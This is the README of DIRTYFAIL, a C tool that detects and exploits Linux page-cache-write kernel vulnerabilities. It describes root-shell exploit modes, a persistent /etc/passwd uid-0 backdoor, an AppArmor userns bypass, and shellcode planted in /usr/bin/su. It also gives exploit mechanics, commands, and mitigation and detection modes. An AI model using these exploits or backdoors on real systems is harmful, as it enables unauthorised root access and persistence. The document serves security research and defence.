KaraZajac/DIRTYFAIL
GitHub: KaraZajac/DIRTYFAIL
针对 Linux 页缓存写入漏洞(Copy Fail 与 Dirty Frag 系列 CVE)的检测与概念验证利用工具,覆盖五个漏洞变种,支持主动探测、多种提权利用路径与一键加固部署。
Stars: 4 | Forks: 4
# DIRTYFAIL
```
██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗
██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║
██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║
██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║
██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗
╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝
```
DIRTYFAIL 是一个为安全研究人员设计的、文档完善的小型 C 语言工具。
它能够检测 Linux 主机是否容易受到该系列中三个 CVE 漏洞的影响,并在获得明确、键入确认的情况下,运行一个真实的 PoC(概念验证),将调用者放入具有漏洞系统的 root shell 中。
| CVE / 变体 | 名称 | DIRTYFAIL 覆盖范围 |
|---|---|---|
| **CVE-2026-31431** | Copy Fail (algif_aead `authencesn` 页缓存写入) | 检测 + 完整 PoC |
| **CVE-2026-43284 v4** | Dirty Frag — IPv4 xfrm-ESP 页缓存写入 | 检测 + 完整 PoC |
| **CVE-2026-43284 v6** | Dirty Frag — IPv6 xfrm-ESP 页缓存写入 (`esp6`) | 检测 + 完整 PoC |
| **CVE-2026-43500** | Dirty Frag — RxRPC 页缓存写入 | 检测 + 完整 PoC |
| Copy Fail GCM variant | xfrm-ESP `rfc4106(gcm(aes))` 页缓存写入 | 检测 + 完整 PoC |
**附加功能:**
- **`--scan --active`** — 哨兵-STORE 主动探测。默认的 `--scan` 会报告每个 CVE 的前提条件(内核、模块、LSM 状态),并对 Copy Fail 原语进行一次主动探测。添加 `--active` 会将哨兵文件 STORE 探测扩展到其他四个原语(ESP v4、ESP v6、RxRPC、GCM):每一个都会对 `/tmp` 哨兵触发内核触发器,并且只有当标记字节实际写入时才报告 VULNERABLE(存在漏洞)。这是区分打了反向移植补丁的内核(前提条件表明存在漏洞但探测显示完整)和未打补丁的内核的唯一方法,无需运行完整的漏洞利用程序。`/etc/passwd` 绝不会被触碰。自动校准每个内核构建的 V6 STORE 偏移量。
- **`--exploit-backdoor`** — 持久化 uid-0 后门:对 `/etc/passwd` 中的 `nologin`/`false`/`sync` 行进行长度匹配的覆盖,将其替换为 `dirtyfail::0:0::/:/bin/bash`。在页面被驱逐之前,退出 shell 后依然有效。状态信息隐藏在 `/var/tmp/.dirtyfail.state` 中,供 `--cleanup-backdoor` 使用。`dirtyfail` 用户名是故意与本项目名称匹配的,以便在任何审计中都能立即识别它——如果你在授权的红蓝对抗中需要不同的标识符,可以在 `src/backdoor.c` 中更改 `NEW_USER`。
- **AppArmor bypass** — 通过单跳 `change_onexec("crun")` 重新执行到一个保留 userns 权限的 unrestricted 配置文件,从而绕过 Ubuntu 的 `apparmor_restrict_unprivileged_userns=1` 策略。每个漏洞利用模式都在内部通过 fork 处理此问题:父进程保留在 init 命名空间中,子进程执行绕过操作,父进程读取全局页缓存并运行 `su` 以获取真正的 init-ns root。传统的 `--aa-bypass` 标志仍然保留,用于独立调试绕过机制。参见 [§8.5 架构](#85-architecture-outerinner-fork-based-bypass)。
## 验证运行环境
DIRTYFAIL 已经在多个发行版和内核版本上进行了**端到端的经验验证**。下表反映了在每个发行版的全新安装上运行各个 `--exploit-*` 模式的逐模式测试结果。
| 发行版 | 内核 | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | 后门 | SU shellcode |
|---|---|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| Ubuntu 24.04 LTS | `6.8.0-111-generic` | AppArmor | 🛡² | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (未测试) |
| Debian 13.4 | `6.12.86+deb13` | 无 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | `6.12.0-124.8.1.el10_1` | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Server) | `6.19.10-300.fc44` | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | `7.0.0-15-generic` | AppArmor (hardened) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |
**图例:** ✅ 漏洞利用成功并获得了真正的 init-ns root · 🛡 已缓解 — 漏洞利用无法触及内核 bug(内核已修补 或 LSM 阻断了非特权路径) · ⏭ 不适用(缺少前提条件)
### 主动探测验证 (`--scan --active`)
`--active` 标志在检测期间会针对每个 CVE 增加一个哨兵文件 STORE 探测。我们针对上述相同的 4 个发行版(Debian、Fedora、AlmaLinux、Ubuntu 26.04)验证了探测输出——下表显示了每个模式的探测结论,并与完整漏洞利用的真实情况一一对应:
| 发行版 | Copy Fail 探测 | ESP v4 探测 | ESP v6 探测 | RxRPC 探测 | GCM 探测 |
|---|:-:|:-:|:-:|:-:|:-:|
| Debian 13.4 | 完整 🛡 | 完整 🛡 | 完整 🛡 | 完整 🛡 | 完整 🛡 |
| Fedora 44 | 标记 @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | 字节更改 ✅ | sentinel[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | 标记 @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | 前提条件 ⏭ | 哨兵已更改 ✅ |
| Ubuntu 26.04 | 完整 🛡 | LSM-阻断 🛡 | LSM-阻断 🛡 | LSM-阻断 🛡 | LSM-阻断 🛡 |
V6 探测的 STORE 落地偏移量(Fedora 和 Alma 上为 8)与 `calibrate_v6_shift()` 在运行时发现的实际 `V6_STORE_SHIFT` 相匹配——确认自动校准功能在不同的内核构建中正确取代了以前硬编码的常量。
¹ GCM 和后门模式要求 `algif_aead` 是可加载的。Ubuntu 24.04 附带的 `/etc/modprobe.d/disable-algif_aead.conf` 会将其加入黑名单以作为 Copy Fail 的缓解措施。如果移除了黑名单(例如在早于该缓解措施的内核上),这两种模式都可以端到端地正常工作。
² Copy Fail 的 algif_aead 路径已被 modprobe 黑名单缓解;无论 `authencesn` 是否可达,内核中潜在的 CVE 原语都是相同的。xfrm-ESP、RxRPC 和 GCM 变体都可以在同一个内核上成功,因为它们不经过 algif_aead。
³ AlmaLinux 10 的 `kernel-modules-extra` 包在最小化安装时默认是不安装的,因此 `rxrpc.ko` 在磁盘上不存在。从 EPEL 或 AlmaLinux extras 仓库安装 `kernel-modules-extra-$(uname -r)` 即可恢复该模块;在默认的最小化安装中,RxRPC 是无法触达的。
⁴ **Ubuntu 26.04 LTS 全面阻断了非特权利用。** 其附带的内核 `7.0.0-15.15`(发布于 2026-04-22)**比主线补丁 `f4c50a4034e6`(合并于 2026-05-07)早了约 2 周**——因此该 bug **依然**存在于内核中。Ubuntu 的防御手段是**通过 AppArmor 加固实现的深度防御**,而不是内核补丁:
- 默认启用了 `apparmor_restrict_unprivileged_userns=1`。
- 在执行 `unshare(CLONE_NEWUSER)` 时,内核级别的 AppArmor 会自动将任何配置文件(包括带有 `(unconfined)` 标志的文件,如 `crun`、`chrome` 以及默认的 `unconfined`)转换为一个带有 `audit deny capability` 的 `//&unprivileged_userns (mixed)` 子配置文件。新 userns 内的 uid 0 不会获得任何 capabilities。
- `change_onexec` 切换到不同的配置文件也无济于事——即使是具有显式 `userns,` 权限和 `flags=(unconfined)` 的 `crun` 配置文件,在 unshare 时也会自动转换。已通过 `aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'` 进行验证 → `crun//&unprivileged_userns (mixed)`。
- `newuidmap`/`newgidmap`(setuid root)成功写入了 uid_map,随后 `setresuid(0)` 成功执行,但 `ioctl(SIOCSIFFLAGS)` 和其他所有受 CAP_NET_ADMIN 控制的系统调用都返回了 EPERM,因为这种权限拒绝是针对每个命名空间的,而不是针对每个 uid 的。
DIRTYFAIL 二进制文件正确地武装了其绕过机制并到达了第二阶段,但是无法在新的 userns 内部获取 CAP_NET_ADMIN。无论使用何种绕过技术,漏洞利用基础设施都在 LSM 层被阻断。我们测试了 `change_onexec(crun)`、`change_onexec(chrome)`、`aa-exec -p ` 以及直接的 `unshare(USER|NET) + newuidmap`——所有这些都产生了相同的 `unprivileged_userns` 子配置文件。
**这是 Canonical 出色的安全工作成果。** 该 bug 类别在不需要重建内核的情况下,已针对非特权用户得到了缓解。随后的稳定版更新可能也会正式引入内核补丁,从而完成防御闭环。
⁵ **`--exploit-su` shellcode 注入**依赖于相同的 Copy Fail algif_aead 4 字节原语(`cf_4byte_write`)。在 Copy Fail 已修补(Debian 13.4)或被 LSM 阻断(Ubuntu 26.04——而且 algif_aead 路径在 7.0.0-15 版本中也被修补了)的内核上,植入程序会运行,但验证步骤会失败(“页缓存与植入的 shellcode 不匹配”),并且自动恢复功能会还原 `/usr/bin/su`。已在 AlmaLinux 10.1(入口点位于文件偏移量 `0x45b0`)和 Fedora 44(偏移量 `0x1b60`)上进行了端到端的测试;ELF 解析器独立处理每个发行版的 PIE 基址。在 Fedora 44 上的真实 root 证明:`uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`。
测试可复现性:
- 我们从干净的 ISO 重新安装了每个发行版,设置了 SSH 密钥认证 + NOPASSWD sudo,在每个系统上克隆并构建了 DIRTYFAIL,拍摄了一个 `clean-build` 的 Parallels 快照,然后使用 `--no-shell` 运行了所有 5 种漏洞利用模式(通过 fadvise + drop_caches 自动恢复)。
- 经验结果行是通过解析实际的 `--exploit-*` 输出得出的,寻找成功信号:`page cache now reports with uid 0`、`root password field is now empty`、`is now uid 0`(后门),或任何失败模式(`write did not land`、`byte flip failed`、`setresuid: Invalid`、`add_rxrpc_key: No such device`、`page cache not in expected shape`)。
- 对于 RxRPC 和后门的“真实 root”验证,我们执行了 `echo "" | su - root` / `echo "" | su - dirtyfail` 并确认了 `uid=0(root)` 以及成功读取了 `/etc/shadow`。
## 目录
1. [Bug 类别](#1-the-bug-class)
2. [CVE-2026-31431 — Copy Fail](#2-cve-2026-31431--copy-fail)
3. [CVE-2026-43284 — Dirty Frag (xfrm-ESP)](#3-cve-2026-43284--dirty-frag-xfrm-esp)
4. [CVE-2026-43500 — Dirty Frag (RxRPC)](#4-cve-2026-43500--dirty-frag-rxrpc)
- [4.5架构概览](#45-architecture-overview)
5. [构建](#5-build)
6. [用法](#6-usage)
7. [DIRTYFAIL 如何检测每个 CVE](#7-how-dirtyfail-detects-each-cve)
8. [DIRTYFAIL 如何利用每个 CVE](#8-how-dirtyfail-exploits-each-cve)
- [8.5 架构:外部/内部基于 fork 的绕过](#85-architecture-outerinner-fork-based-bypass)
9. [缓解措施](#9-mitigations)
10. [伦理与披露](#10-ethics--disclosure)
11. [致谢](#11-credits)
**伴随文档:**
- [`docs/DEFENDERS.md`](docs/DEFENDERS.md) — 系统管理员手册:我是否有漏洞,如何缓解,监控什么。
- [`docs/RESEARCH.md`](docs/RESEARCH.md) — 针对相同 bug 类别的相邻路径(AH、IPCOMP、MACsec、kTLS 等)的内核源码审计。
- [`tools/dirtyfail-check.sh`](tools/dirtyfail-check.sh) — 面向系统管理员的独立 bash 检测脚本(无需编译)。
- [`tools/99-dirtyfail.rules`](tools/99-dirtyfail.rules) — 可直接加载的针对该漏洞利用链的 auditd 规则。
- [`tools/dirtyfail-container-escape.sh`](tools/dirtyfail-container-escape.sh) — 跨命名空间影响范围演示。
- [`tools/exploit_su_aarch64.S`](tools/exploit_su_aarch64.S) — 用于 `--exploit-su` 的 aarch64 (ARM64) shellcode 源码。未经硬件测试;受 `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` 门控发布。使用 `aarch64-linux-gnu-as` 重新生成 `src/exploit_su.c` 中的相应字节以进行验证。
## 1. Bug 类别
**页缓存写入**漏洞允许非特权用户修改他们只有读取权限的文件的内核内存副本。磁盘上的文件永远不会被写入;修改会一直保留在 RAM 中,直到页面被驱逐(`drop_caches`、内存压力或重启)。
这一类漏洞始于 **Dirty Pipe** (CVE-2022-0847),它滥用了 `pipe_buffer` 标志。Copy Fail 和 Dirty Frag 是其后继者,它们转而针对 `struct sk_buff` 的 `frag` 成员。其机制始终如一:
1. 用户空间将一个来自可读文件(如 `/etc/passwd`、`/usr/bin/su`)的页缓存页通过 `splice()` 放入内核缓冲区的 frag 中。
2. 接收路径在该缓冲区上运行**就地**加密——相同的页面既是操作的源也是目的地。
3. 加密例程在数据区域之外执行一次“暂存”STORE(序列号重排、单块解密等),该 STORE 会落在用户固定的页内。
4. 该文件的页缓存副本现在已被永久修改,对主机上的每个读取者都可见,直到页面被驱逐。
因为该 bug 是一个**确定性的逻辑缺陷**而不是竞态条件,所以成功率基本是 100%,并且在失败时内核不会崩溃。
## 2. CVE-2026-31431 — 复制失败
* 披露时间: **2026-04-29**
* 网站:
* 原始 PoC (C): [Smarttfoxx/copyfail](https://github.com/Smarttfoxx/copyfail)
* 原始 PoC (Python): [rootsecdev/cve_2026_31431](https://github.com/rootsecdev/cve_2026_31431)
* 引入该缺陷的提交: `72548b093ee3` (2017)
* 修复该缺陷的提交: `a664bf3d` (主线 6.12 / 6.17 / 6.18 稳定版)
* 确认受影响的系统: Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16
### 根本原因
内核的 `algif_aead` 模块通过 `AF_ALG` 将 AEAD 加密 API 暴露给用户空间。`authencesn(hmac(sha256), cbc(aes))` 模板实现了 RFC-4303 ESN(扩展序列号);其解密路径的一部分会执行一次 **4 字节的暂存写入**来重新排列序列号:
```
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
/* Move high-order bits of sequence number to the end. */
scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
if (src == dst) {
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // ★
...
```
★ 处的 STORE 在正常的 IPsec 数据包上是无害的——它落在 skb 的标签区域内,属于内核所有。加密模板**假设** `src` 和 `dst` 指向内核内存。
`algif_aead` 违反了这一假设。它接受来自用户空间的 `splice()`,这会将页缓存页面植入到请求的 scatterlist 中。因为 AEAD 是原地运行的(`req->dst = req->src`),所以页缓存页面现在正位于暂存写入所指向的 destination scatterlist 偏移量处。
被写入的 4 个字节是用户空间发送的 AAD 的第 4..7 字节——即 ESP 头的 "seqno_lo" 字段,攻击者可以在其中填充任何他们想要的内容。
**原语**: 对攻击者可以 `open(O_RDONLY)` 的任何文件的页缓存进行任意偏移的 4 字节写入。
### 漏洞利用
最简单的武器化应用是在 `/etc/passwd` 中。一个普通的用户行如下所示:
```
kara:x:1000:1000:Kara,,,:/home/kara:/bin/bash
```
将 `1000`(UID 字段,对于任何 1000–9999 的 UID 来说正好是 4 个 ASCII 字节)翻转为 `0000`,会使 glibc 的 `getpwnam()` 报告该用户的 uid=0。然而,PAM 仍然会针对磁盘上的 `/etc/shadow`(未被触及)进行身份验证,因此 `su ` 会提示输入真实密码,对其进行验证,然后执行 `setuid(0)`——并降落到 root,因为 `/etc/passwd` 的页缓存副本表明我们是 root。
`/etc/shadow` 的完整性得以保留。磁盘上的 `/etc/passwd` 得以保留。只有内核 RAM 中的 `/etc/passwd` 副本被破坏,并且仅在执行 `drop_caches` 或重启之前持续。
## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)
* 披露时间: **2026-04-30 → 2026-05-08**
* 原始 PoC (C): [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag)
* 研究者: Hyunwoo Kim ([@v4bel](https://x.com/v4bel))
* 引入该缺陷的提交: `cac2661c53f3` (2017-01-17)
* 修复该缺陷的提交: `f4c50a4034e6` (主线 net.git,合并于 2026-05-07)
* 确认受影响的系统: Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed,
CentOS Stream 10, AlmaLinux 10, Fedora 44
### 根本原因
当 skb 是非线性的(即有 frags)时,`esp_input()` 应该在原地 AEAD 解密之前调用 `skb_cow_data()`。该代码路径存在一个短路:
```
if (!skb_cloned(skb)) {
if (!skb_is_nonlinear(skb)) {
nfrags = 1;
goto skip_cow;
} else if (!skb_has_frag_list(skb)) { // ★ bug
nfrags = skb_shinfo(skb)->nr_frags;
nfrags++;
goto skip_cow;
}
}
```
如果 skb 有 frags 但没有 `frag_list`,esp_input 会绕过 `skb_cow_data` 并将用户提供的 frag 直接交给 AEAD 模板。驱动 Copy Fail 的那个相同的 `authencesn(...)` 暂存写入随后会落在拼接页面的文件偏移量 `(assoclen + cryptlen)` 处。
这 4 个被 STORE 的字节来自 SA 的 `replay_esn` 状态的 `seq_hi`——在注册 SA 时可通过 `XFRMA_REPLAY_ESN_VAL` netlink 属性由攻击者控制。
**代价**:注册 XFRM SA 需要 `CAP_NET_ADMIN`,因此攻击者首先通过 `unshare(CLONE_NEWUSER)` 进入一个新的 user namespace。这在大多数发行版上默认是允许的(Ubuntu 的加固配置文件是显著的例外)。
**关键的是,即使实施了 algif_aead Copy Fail 缓解措施,这种原语也依然有效**——xfrm 路径不经过 algif_aead。仅仅将 `algif_aead` 列入黑名单的防御者仍然容易受到 Dirty Frag 的攻击。
### 漏洞利用
V4bel 公布的 PoC 使用 48 次连续的 4 字节 STORE,在 `/usr/bin/su` 页缓存的前 192 个字节上覆盖了一个 192 字节的静态 "root-shell" ELF。修改后,`execve("/usr/bin/su")` 会运行新的 ELF 入口点并保持 setuid-root 位不变,完全抛弃 PAM,并从 shellcode 内部执行 `execve("/bin/sh")`。
DIRTYFAIL 采用了更简单的 `/etc/passwd` UID 翻转方法(一次 4 字节 STORE——与 Copy Fail 的目标相同),原因有两个:
1. 这是一个单次写入原语的演示,更容易研究。
2. 它完全可以通过 `POSIX_FADV_DONTNEED` 恢复,并且不会使 `/usr/bin/su` 对系统上的其他用户保持损坏状态。
## 4. CVE-2026-43500 — Dirty Frag (RxRPC)
* 披露时间: **2026-04-29 → 2026-05-08**
* 补丁: 截止至 2026-05-08 尚未包含在任何代码树中;研究者的补丁
待定: `lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/`
* 研究者: Hyunwoo Kim ([@v4bel](https://x.com/v4bel))
* 引入该缺陷的提交: `2dc334f1a63a` (2023-06)
### 根本原因
`rxkad_verify_packet_1()` 对 RxRPC 数据包的前 8 个字节执行**就地** `pcbc(fcrypt)` 单块解密:
```
sg_init_table(sg, ARRAY_SIZE(sg));
ret = skb_to_sgvec(skb, sg, sp->offset, 8);
memset(&iv, 0, sizeof(iv));
skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // ★ src == dst
ret = crypto_skcipher_decrypt(req); // ★ 8-byte STORE
```
如果一个页缓存页已被 splice 到 skb 的 frag 中,则 8 字节的解密将直接在其之上执行。
**与 xfrm-ESP 的区别**:被 STORE 的 8 个字节是 `fcrypt_decrypt(C, K)`,其中 `C` 是该文件偏移量处的现有密文,`K` 是攻击者通过 `add_key("rxrpc", ...)` 注册的 RxRPC v1 token 的会话密钥。攻击者无法直接控制 STORE 的值——他们必须暴力破解 `K`,直到 `fcrypt_decrypt(C, K)` 产生所需的明文。
`fcrypt` 是一种 Andrew File System 密码,具有 **56 位的密钥**和 8 字节的块大小。它是确定性的;可以顺利移植到用户空间;并且它的密钥空间足够小,在受限的 8 字节目标下,可以根据约束预算在几毫秒到几秒钟内完成暴力破解。
**关键的是,此路径不需要命名空间特权**——
`add_key`、`socket(AF_RXRPC)`、`socket(AF_ALG)`、`splice` 对于任何非特权用户都是可用的。RxRPC 填补了 Ubuntu 加固 userns 配置文件(其中 xfrm-ESP 被阻断)上的空白,因为 `rxrpc.ko` 附带在 Ubuntu 的默认构建中。
### 漏洞利用
完整的漏洞利用流程:
1. 在用户空间暴力破解 `K_A`、`K_B`、`K_C`,使得在 `/etc/passwd` 偏移量 4、6、8 处的三次 STORE 分别产生 `"::"`, `"0:"`, `"0:GGGGGG:"`(后写入者生效)。
2. 对于每个 `K_i`,使用 `add_key` 注册一个带有我们的暴力破解会话密钥的 RxRPC v1 token,对同一进程中的伪造 UDP 服务器执行伪造的 AF_RXRPC 握手,并通过 splice 触发 `rxkad_verify_packet_1`。
3. `/etc/passwd` 第 1 行的页缓存副本现在变成了 `root::0:0:GGGGGG:/root:/bin/bash`——一个空密码字段。
4. 带有 `pam_unix.so nullok` 的 PAM 接受空密码;`su -` 放出一个 root shell。
### DIRTYFAIL 覆盖范围
DIRTYFAIL 为该 CVE 提供了**检测和完整的 PoC**。
DIRTYFAIL 的实现位于 `src/dirtyfrag_rxrpc.c` 和 `src/fcrypt.c` 中:
- **fcrypt 密码** (`fcrypt.c`):56 位密钥,8 字节块,16 轮 Feistel;标准的 rxkad 协议 S-boxes。包含一个单核暴力破解工具(~18 Mops/s),用于搜索密钥空间,直到候选明文满足调用者提供的谓词。
- **rxkad 校验和** (`compute_csum_iv`、`compute_cksum`):通过 AF_ALG `pcbc(fcrypt)` 复现内核公式,以便我们伪造的 DATA 数据包中的传输层校验能够通过 `rxkad_verify_packet` 的门限。
- **RxRPC v1 token 构建** (`build_rxrpc_v1_token`):通过 `add_key("rxrpc", ...)` 注册的 XDR 编码的 rxkad token,使用我们暴力破解出的会话密钥。
- **AF_RXRPC 客户端 + UDP 伪造服务器**:客户端发起调用,伪造服务器从第一个数据包中提取 (epoch, cid, callNumber) 并发出伪造的 CHALLENGE,以便客户端用我们的密钥准备 `conn->rxkad.cipher`。
- **Splice 触发器** (`do_one_trigger`):vmsplice 伪造的 DATA 传输头 → 从 `/etc/passwd` 拼接 8 个字节 → splice 管道 → udp_srv → recvmsg 驱动内核通过 `rxkad_verify_packet_1` → 8 字节 STORE。
- **带有链式密文校正的 3-splice 链**:暴力破解 K_A / K_B / K_C,在两次传递之间应用链式密文偏移(在 splice A 覆盖了字节 4..11 之后,splice B 在 6..13 处的密文以 `P_A[2..7]` 开头;C 针对 B 同理)。
最终的 PoC 将 `/etc/passwd` 第 1 行重塑为:
```
root::0:0:GGGGG:/root:/bin/bash
```
— 空密码字段 — 然后通过 `execlp("su", "-")` 放出一个 root shell,因为 `pam_unix.so nullok` 接受空密码。
为了与上游 PoC 进行比较和验证,请参见 V4bel 的 `exp.c`:。
## 4.5 架构概览
DIRTYFAIL 是一个由大约 10 个源模块构建而成的单一 C 语言二进制文件。其高层结构如下:
```
┌─────────────────────────────────────────┐
│ dirtyfail (CLI) │
│ src/dirtyfail.c — argv → mode dispatch │
└────────────────┬────────────────────────┘
│
┌──────────────────┬───────┼───────┬─────────────────┬───────────┐
│ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼
┌──────────────┐ ┌─────────────────┐ ┌──────────────┐ ┌──────────┐ ┌────────────┐
│ --scan │ │ --exploit-* │ │ --backdoor │ │--mitigate│ │ --cleanup* │
│ (detect.c) │ │ (5 modes) │ │ install + │ │ defense │ │ revert │
│ │ │ │ │ cleanup │ │ │ │ │
└──────┬───────┘ └────────┬────────┘ └──────┬───────┘ └────┬─────┘ └────────────┘
│ │ │ │
│ ┌────────────────┼──────────────────┼────────────────┘
│ │ │ │
▼ ▼ ▼ ▼
┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐
│ apparmor_ │ │ outer (init ns) │ │ cfg_1byte_write │
│ bypass.c │ │ → fork → child │ │ (gcm primitive) │
│ │ │ outer/inner │ │ │
│ * sysctl │ │ split │ │ used by gcm + │
│ * caps_blocked │ │ │ backdoor for │
│ * fork_arm │ │ parent stays │ │ arbitrary-byte │
└──────┬───────┘ │ in init ns, │ │ writes │
│ │ child re-execs │ └────────┬─────────┘
│ │ via change_ │ │
▼ │ onexec(crun) + │ ▼
┌──────────────┐ │ AA stage 1/2 │ ┌──────────────────┐
│ stage 1/2 │ │ unshare + caps │ │ AF_ALG ecb(aes) │
│ handler │ │ → run inner │ │ keystream brute │
└──────────────┘ └──────────────────┘ │ force │
└──────────────────┘
Per-CVE primitives (each has detect/exploit/exploit_inner functions):
┌──────────────────────────────────────────────────────────────────────┐
│ copyfail.c algif_aead authencesn 4-byte STORE (CVE-2026-31431) │
│ copyfail_gcm.c rfc4106(gcm(aes)) 1-byte STORE (CVE-2026-43284) │
│ dirtyfrag_esp.c xfrm-ESP IPv4 4-byte STORE (CVE-2026-43284) │
│ dirtyfrag_esp6.c xfrm-ESP IPv6 4-byte STORE w/ +9 (CVE-2026-43284) │
│ dirtyfrag_rxrpc.c rxkad 8-byte STORE + fcrypt brute (CVE-2026-43500) │
│ fcrypt.c rxkad cipher (56-bit Feistel) │
│ backdoor.c persistent /etc/passwd line overwrite │
└──────────────────────────────────────────────────────────────────────┘
```
**关键设计决策:**
- **外部/内部分离**:每个漏洞利用程序都会 fork 出一个子进程来执行内核工作。父进程留在 init 命名空间中,以便最终的 `execlp("su", user)` 能够获取真正的 init-ns root。参见 [§8.5 架构](#85-architecture-outerinner-fork-based-bypass)。
- **页缓存是全局的**:子进程从其绕过的 userns 内部进行写入,父进程从 init ns 内部进行读取;能看到相同的字节。
- **环境变量携带父进程 → 子进程的状态**:`DIRTYFAIL_INNER_MODE`、`DIRTYFAIL_TARGET_USER`、`DIRTYFAIL_K_{A,B,C}` (rxrpc)、`DIRTYFAIL_LINE_OFF` 等(后门)。`execv` 在阶段转换期间会保留环境。
- **防御伴侣**:`--mitigate` 会部署与发行版作为官方缓解措施提供的相同的黑名单 + sysctl 加固。`--scan` 会在 capabilities 被 LSM 阻断时进行检测,并报告 "mitigated" 而不是误导性的 "VULNERABLE preconditions met"。
## 5. 构建
### 前置条件
* **Linux**(此二进制文件在运行时仅限 Linux)。
* `gcc` 或 `clang`,`make`。
* Linux UAPI headers — 特别是 ``、``、``、``。
| 发行版 | 安装命令 |
|-------------------|------------------------------------------------------|
| Debian / Ubuntu | `sudo apt install build-essential linux-libc-dev` |
| RHEL / CentOS | `sudo dnf install gcc make kernel-headers glibc-devel` |
| Fedora | `sudo dnf install gcc make kernel-headers` |
| Arch | `sudo pacman -S base-devel` |
### 构建命令
```
git clone https://github.com//DIRTYFAIL.git
cd DIRTYFAIL
make # release build → ./dirtyfail
make debug # -O0 -g3 for gdb
make static # static link (musl-gcc recommended)
make clean
```
默认构建会在 `./dirtyfail` 处生成一个约 80 KB 的单一二进制文件。
对于要在任何兼容内核的 Linux 上运行而没有 glibc 依赖漂移的便携式构建:
```
make static CC=musl-gcc
```
(在 Debian/Ubuntu 上安装 `musl-tools`,或从源代码构建 musl)。
## 6. 用法
`./dirtyfail --help` 是权威的参考;以下按类别列出了各种模式:
**检测(安全;无系统修改):**
| 模式 | 作用 |
|---|---|
| `--scan` | 运行所有五个检测器(默认模式) |
| `--scan --active` | 对每个 CVE 增加哨兵文件 STORE 探测 — 区分前提条件满足和实际可利用的情况 |
| `--scan --json` | 在标准输出上发出单个 JSON 对象(SIEM 友好);日志发送到 stderr |
| `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | 仅进行逐个 CVE 的检测 |
**漏洞利用(需键入确认;会破坏 `/etc/passwd` 页缓存):**
| 模式 | 作用 |
|---|---|
| `--exploit-copyfail` | 通过 `algif_aead` 4 字节原语进行 UID 翻转 |
| `--exploit-esp` | 通过 xfrm-ESP v4 进行 UID 翻转(需要 userns+CAP_NET_ADMIN) |
| `--exploit-esp6` | 通过 xfrm-ESP v6 进行 UID 翻转 |
| `--exploit-rxrpc` | 通过 rxkad fcrypt 暴力破解清空 root 密码字段 |
| `--exploit-gcm` | 通过 `rfc4106(gcm(aes))` 单字节原语进行 UID 翻转 |
| `--exploit-backdoor` | 持久化:插入 `dirtyfail::0:0:...:/:/bin/bash` |
| `--exploit-su` | V4bel 风格:在 `/usr/bin/su` 入口点植入特定于架构的 shellcode。x86_64 已进行端到端测试;aarch64 附带时未经硬件测试(受 `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` 门控) |
**清理 / 状态检查:**
| 模式 | 作用 |
|---|---|
| `--cleanup` | 从页缓存中驱逐 `/etc/passwd`(如果具有 root 权限,则使用 `fadvise` + `drop_caches`) |
| `--cleanup-backdoor` | 从状态文件中恢复原始的 `/etc/passwd` 行 |
| `--cleanup-su` | 从状态文件中恢复 `/usr/bin/su` 入口点字节 |
| `--list-state` | 报告当前已植入的内容(如果有);无副作用 |
**防御模式(需要 root 权限):**
| 模式 | 作用 |
|---|---|
| `--mitigate` | 将 `algif_aead`/`esp4`/`esp6`/`rxrpc` 模块列入黑名单;设置 `apparmor_restrict_unprivileged_userns=1`;执行 drop_caches。副作用:会破坏 IPsec、AFS |
| `--cleanup-mitigate` | 移除由 `--mitigate` 安装的 modprobe/sysctl 文件 |
**常规选项:**
| 标志 | 效果 |
|---|---|
| `--no-shell` | 在成功利用后,不执行 `execve su` — 进行验证并恢复 |
| `--no-revert` | 与 `--no-shell` 一起使用,同时跳过自动恢复(用于容器逃逸演示) |
| `--active` | 对 `--scan`/`--check-*` 增加主动的哨兵 STORE 探测 |
| `--json` | (与 `--scan` 一起使用)发出机器可读的输出 |
| `--no-color` | 禁用 ANSI 颜色 |
| `--aa-bypass` | (仅用于调试)强制执行 AppArmor 非特权 userns 绕过 — 漏洞利用程序会在内部完成此操作,参见 §8.5 |
### 检测示例
普通扫描(仅前提条件 — 快速,约 1 秒):
```
./dirtyfail --scan
```
对每个 CVE 进行主动哨兵探测(约 10 秒,仅修改 `/tmp` 中的哨兵):
```
./dirtyfail --scan --active
```
